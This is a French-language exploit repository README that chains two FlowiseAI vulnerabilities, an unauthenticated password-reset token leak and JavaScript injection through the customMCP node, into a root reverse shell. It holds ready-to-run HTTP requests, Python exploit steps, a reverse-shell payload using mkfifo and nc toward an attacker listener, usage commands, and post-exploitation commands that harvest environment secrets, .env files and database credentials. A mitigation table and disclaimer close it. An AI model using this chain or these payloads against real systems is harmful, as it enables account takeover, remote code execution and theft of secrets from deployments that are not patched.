
Chaîne d'attaque critique non authentifiée menant à une RCE complète dans FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Prise de contrôle de compte non authentifiée enchaînée avec exécution de code à distance contre FlowiseAI
<= 3.0.5.
Compromission complète du conteneur en moins de 5 secondes, aucune information d'identification requise.
Gauche : page de connexion FlowiseAI — Droite : shell root via CVE-2025-59528 · uid=0(root)
Cet exploit enchaîne deux vulnérabilités critiques indépendantes en une seule attaque entièrement automatisée. Aucune des deux vulnérabilités ne garantit à elle seule une compromission complète — mais ensemble, elles forment une chaîne d'attaque complète allant de zéro identifiant à un shell root à l'intérieur d'un conteneur Docker.
[Aucun identifiant]
│
▼
① Abuser du point de terminaison forgot-password (aucune authentification requise)
│ → Le serveur répond avec le jeton de réinitialisation de la victime en texte clair
▼
② Soumettre le jeton au point de terminaison reset-password
│ → L'attaquant contrôle le mot de passe administrateur
▼
③ Connexion + récupération de la clé API Bearer
│ → Session authentifiée complète établie
▼
④ Envoyer une charge utile JavaScript via le nœud customMCP
│ → Le serveur l'évalue via le constructeur Function()
▼
[Shell root à l'intérieur du conteneur Docker]
Ce qui le rend sans interaction : à aucun moment la victime ne reçoit un email, ne voit une alerte de connexion ou ne déclenche un événement visible. L'attaque est entièrement côté serveur.
CVSS 3.1 : 9.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affecté : FlowiseAI <= 3.0.5 (cloud + auto-hébergé)
Avis : GHSA-wgpv-6j63-x5ph
FlowiseAI a un concept de requêtes « internes » — des appels API entre ses propres services — identifiées par l'en-tête HTTP x-request-from: internal. Le point de terminaison /api/v1/account/forgot-password utilise cet en-tête pour sauter complètement l'authentification et renvoyer une réponse différente, plus détaillée que celle qu'il renverrait pour des appelants externes.
Le problème : cet en-tête n'est ni validé ni restreint de quelque façon que ce soit. N'importe quel attaquant sur Internet peut l'envoyer. Quand il le fait, au lieu de déclencher un email de réinitialisation de mot de passe, l'API répond avec l'enregistrement complet de l'utilisateur — y compris un tempToken actif qui peut être immédiatement utilisé pour définir un nouveau mot de passe.
Normalement, un flux de réinitialisation de mot de passe ressemble à :
L'utilisateur demande la réinitialisation → Le serveur génère un jeton → Le jeton est envoyé par EMAIL → L'utilisateur clique sur le lien → Mot de passe changé
Ici, le serveur saute complètement l'étape d'envoi d'email et place le jeton directement dans le corps de la réponse HTTP. L'attaquant l'intercepte et passe directement à l'étape de réinitialisation — aucun accès à l'email nécessaire.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — enregistrement complet de l'utilisateur exposé{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Le tempToken est ensuite soumis directement au point de terminaison de réinitialisation — aucune interaction par email, aucun CAPTCHA, aucune limite de débit.

CVSS 3.1 : 10.0 Critique — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affecté : FlowiseAI <= 3.0.5
Avis : GHSA-3gcm-f6qx-ff7p
FlowiseAI permet aux utilisateurs de définir des nœuds MCP (Model Context Protocol) personnalisés avec une configuration serveur fournie sous forme de chaîne JSON. En interne, la plateforme a besoin d'analyser cette configuration — et elle le fait en utilisant le constructeur Function() de JavaScript, qui est fonctionnellement équivalent à eval().
La chaîne de configuration atteint le point de chute complètement non nettoyée :
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — ligne 262
const result = Function('return ' + mcpServerConfig)();
// ↑ entrée utilisateur non nettoyée — exécution JS arbitraire
Function() est aussi dangereux que eval()Function('return ' + code)() fait ce qui suit :
code comme corpsCela donne à l'attaquant un contexte complet d'exécution JavaScript avec accès à process, require, child_process, et à l'ensemble de l'environnement d'exécution Node.js — pas un bac à sable.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← chaîne contrôlée par l'attaquant
└─ substituteVariablesInString() ← aucun filtrage, passe à travers
└─ convertToValidJSONString() ← aucun filtrage, passe à travers
└─ Function('return ' + input)() ← le code arbitraire s'exécute ici
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Pourquoi
mkfifoet non/dev/tcp?
Le conteneur exécute/bin/sh, pas/bin/bash./dev/tcpest une fonctionnalité propre à bash — il n'existe pas dans les shells POSIX standards.mkfifocrée un tube nommé qui fonctionne dans tout shell conforme à POSIX, rendant le shell inversé portable dans les environnements conteneurisés.
L'exploit est structuré en quatre étapes séquentielles, chacune correspondant directement à une phase de la chaîne d'attaque.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
Ce qui se passe : Le serveur croit qu'il s'agit d'un appel interne de service à service à cause de l'en-tête x-request-from: internal. Il saute le chemin normal d'envoi d'email et renvoie l'enregistrement complet de l'utilisateur — y compris un jeton de réinitialisation de mot de passe actif — directement dans le corps de la réponse HTTP 201.
Pourquoi ça fonctionne : La vérification de l'en-tête est purement basée sur une chaîne de caractères, sans vérification cryptographique. N'importe quel appelant peut la définir. Le serveur ne valide pas l'origine de la requête.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
Ce qui se passe : Le tempToken volé est soumis avec un nouveau mot de passe choisi par l'attaquant. Le serveur valide le jeton (qui est réel et actif), confirme que l'email correspond, et met à jour le hachage des identifiants — aucune confirmation par email, aucun contrôle secondaire.
Pourquoi ça fonctionne : La validation du jeton vérifie seulement que le jeton existe et n'a pas expiré. Elle ne vérifie pas que l'appelant qui a généré le jeton est le même que celui qui soumet la réinitialisation. La propriété n'est jamais vérifiée.
# Connexion avec le mot de passe nouvellement défini
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Récupération de la clé API Bearer nécessaire pour le point de terminaison RCE
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
Ce qui se passe : Une connexion normale avec le nouveau mot de passe de l'attaquant établit une session administrateur complète (basée sur les cookies). La session est ensuite utilisée pour récupérer la clé API par défaut de la plateforme, qui est requise pour authentifier les requêtes au point de terminaison node-load-method utilisé à l'étape 4.
Pourquoi ça fonctionne : À ce stade, l'attaquant EST l'administrateur — il possède les identifiants. La session et la clé API sont légitimement délivrées par le serveur.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
Ce qui se passe : La charge utile est une fonction JavaScript auto-invoquée (IIFE) déguisée en objet compatible JSON. Lorsque convertToValidJSONString() la traite, la valeur atterrit dans Function('return ' + input)() — qui l'exécute comme du JavaScript vivant avec un accès complet à l'environnement d'exécution Node.js. child_process.exec() déclenche la commande du shell inversé, établissant une connexion de retour vers l'écouteur de l'attaquant.
Pourquoi l'IIFE ? Le motif Function('return ' + x) attend que l'expression puisse être retournée. Envelopper le code malveillant dans ({x: (function(){ ... })()}) rend l'expression entière valide en JavaScript, qui s'évalue en un objet — satisfaisant l'analyseur tout en exécutant la charge utile comme effet secondaire.
Pourquoi nohup + disown ? La requête HTTP a un délai d'expiration. Sans détacher le processus, le shell mourrait lorsque la requête expirerait. nohup + disown détache le shell inversé du processus Node.js, le maintenant actif indépendamment.
# 1. Démarrez d'abord votre écouteur
nc -lvnp 4444
# 2. Exécutez la chaîne d'attaque complète
python3 exploit.py -ip <IP_CIBLE> -lhost <VOTRE_IP> -lport 4444
# 3. Si le mot de passe administrateur a déjà été réinitialisé lors d'une tentative précédente
python3 exploit.py -ip <IP_CIBLE> -lhost <VOTRE_IP> -lport 4444 --skipreset
pip install requests
Une fois le shell obtenu, le conteneur s'exécute généralement en tant que root avec accès à l'environnement complet de l'application FlowiseAI :
# Secrets et identifiants
env # API keys, DB URIs, service credentials in environment vars
cat .env # FlowiseAI config file — database passwords, JWT secrets
# Application internals
ls /app/packages/ # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env
# Container context
cat /proc/1/cmdline # What process is PID 1 — confirms container environment
hostname # Container ID
cat /etc/hosts # Internal network map — other services reachable
# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
Ce dépôt et tout le code associé sont publiés strictement à des fins éducatives et de recherche en sécurité autorisée.
Les deux vulnérabilités sont divulguées publiquement et corrigées à partir de FlowiseAI 3.0.6. Tester des systèmes que vous ne possédez pas ou sans autorisation écrite explicite est illégal en vertu de la législation applicable — y compris, mais sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act et la directive européenne NIS2.
Les auteurs déclinent toute responsabilité pour les dommages résultant d'une mauvaise utilisation de ce matériel.
0H4K3D · CVE Team
| Propriété | Détails |
|---|
| Aucun identifiant requis | L'attaquant commence sans rien, juste une IP cible |
| Aucune interaction avec la victime | Pas de phishing, pas de clic, pas d'ingénierie sociale |
| Aucune limitation de débit | Le point de terminaison de réinitialisation n'a pas de limitation - forcible si nécessaire |
| Aucun CAPTCHA | Le flux de réinitialisation n'a pas de vérification humaine |
| Aucune confirmation par email | Le changement de mot de passe est immédiat, silencieux, irréversible |
| Environnement d'exécution Node.js complet dans l'RCE | child_process, système de fichiers, réseau — pas de bac à sable |
| S'exécute en tant que root dans Docker | Le conteneur est généralement lancé en tant que root, accès complet au système de fichiers |
| Affecte le cloud + l'auto-hébergé | Tout déploiement de <= 3.0.5 est vulnérable |
| Indicateur | Description | Requis |
|---|
-ip | Adresse IP de la cible | ✅ |
-lhost | Votre IP pour le rappel du shell inversé | ✅ |
-lport | Votre port d'écoute | ✅ |
--skipreset | Ignorer CVE-2025-58434 (phases 1 & 2) — à utiliser si le compte est déjà compromis | ❌ |
| Correctif | Priorité |
|---|
Mettre à jour vers FlowiseAI ≥ 3.0.6 | 🔴 Immédiate |
Bloquer x-request-from: internal au niveau du proxy inverse — il ne devrait jamais venir d'Internet | 🔴 Immédiate |
Restreindre /api/v1/account/* aux seules sessions authentifiées | 🔴 Immédiate |
Nettoyer mcpServerConfig — ne jamais passer d'entrée utilisateur à Function() ou eval() | 🔴 Immédiate |
| Ajouter une limitation de débit et un CAPTCHA à tous les points de terminaison de réinitialisation de mot de passe | 🔴 Immédiate |
| Isoler l'instance FlowiseAI d'Internet si l'exposition publique n'est pas nécessaire | 🟠 Élevée |
| Exécuter le conteneur en tant qu'utilisateur non root | 🟠 Élevée |
| Activer la détection d'anomalies sur les points de terminaison de réinitialisation de mot de passe et MCP | 🟡 Moyenne |
Auditer tous les points de terminaison qui acceptent x-request-from et vérifier qu'ils ne peuvent pas être appelés depuis l'extérieur | 🟡 Moyenne |